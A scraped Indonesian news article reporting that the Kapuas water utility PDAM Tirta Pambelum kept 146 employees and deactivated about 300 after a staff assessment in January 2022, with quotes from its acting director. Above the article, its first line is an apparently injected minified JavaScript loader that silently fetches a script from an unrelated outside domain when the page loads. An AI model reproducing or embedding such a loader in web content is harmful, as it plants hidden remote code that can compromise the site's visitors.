(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, KUALA KAPUAS – Perusahaan Daerah Air Minum (PDAM) Tirta Pambelum Kapuas memangkas jumlah karyawan. Menyusul hasil test assessmen, ratusan karyawan terpaksa dinonaktifkan setelah menerima hasil pengumuman akhir.
Mereka tidak lagi bekerja pada perusahaan daerah milik Pemkab Kapuas tersebut. Hal itu diketahui pasca diumumkannya hasil assessment karyawan PDAM Tirta Pambelum Kapuas itu, Jumat (21/1/2022).
Pada surat pengumuman nomor UM.01.11/Perumda Tirta Pembelum/84/2022 tertanggal 21 Januari 2022 dan ditandatangani Pjs Direktur PDAM Tirta Pambelum Kapuas Kristanto, dan diketahui Dewan Pengawas PDAM Kapuas Drs Edy Lukman Hakim, diumumkan nama-nama pegawai baik yang berstatus tetap, calon pegawai (Capeg) dan tenaga kontrak yang dinyatakan lulus dan masih akan melanjutkan kembali bekerja di PDAM Kapuas.
Pjs Direktur PDAM Tirta Pambelum Kapuas, Kristanto kepada Kanalkalimantan.com, karyawan yang melanjutkan hanya 146 orang, kurang lebih 300 orang dinonaktifkan.
Baca juga : WADUH. Timnas Wanita Indonesia ‘Dibantai’ Australia 18-0 di Piala Asia Putri 2022
Menurut Kristanto, nama-nama karyawan berjumlah 146 yang lolos termasuk juga karyawan lama dan karyawan baru, ada yang berstatatus Capeg, pegawai tetap maupun karyawan kontrak.
“Sekali lagi saya berharap kawan-kawan mau menerima kondisi dengan lapang dada, karena memang kondisi perusahaan sangat sulit untuk berkembang. Kalau rasionalisasi ini tidak dilakukan maka perusahaan akan kolaps. Jika kolaps maka akan kesulitan melayani masyarakat, itu yang paling utama, jadi saya mohon kawan-kawan bisa legowo menerima hal ini,” ujar Kristanto.
Masih menurut Kristanto, rasionalisasi karyawan sudah dibicarakan dengan pemerintah daerah selaku pemilik modal.
“Hak pegawai seluruhnya, baik itu utang gaji yang belum terbayarkan, kemudian dana pensiun juga akan dibayarkan dan lainnya akan kita bayarkan. Hanya nanti pembayarannya dilakukan secara bertahap sesuai dengan kondisi keuangan perusahaan,” pungkasnya. (kanalkalimantan.com/ags)
Reporter : ags
Editor : kk
KANALKALIMANTAN.COM, JAKARTA - Kompleksitas isu lingkungan kerap dianggap sulit untuk dikemas menjadi berita sederhana namun… Read More
KANALKALIMANTAN.COM, BANJARBARU - Ratusan personel tim terpadu menertibkan Alat Peraga Kampanye (APK) sehari jelang masa… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Laporan dugaan pelanggaran yang dilayangkan salah seorang warga terhadap Calon Bupati dan… Read More
KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Ketua Tim Penggerak Pemberdayaan dan Kesejahteraan Keluarga (TP PKK) Kabupaten… Read More
KANALKALIMANTAN.COM, AMUNTAI - Badan Pembinaan Olahraga (Bapor) Korps Pegawai Republik Indonesia (Korpri) Kabupaten Hulu Sungai… Read More
KANALKALIMANTAN.COM, JAKARTA - Seorang warga banua yang kini berkiprah di Jakarta, Muhammad Fremmuzar Aditya Putra… Read More
This website uses cookies.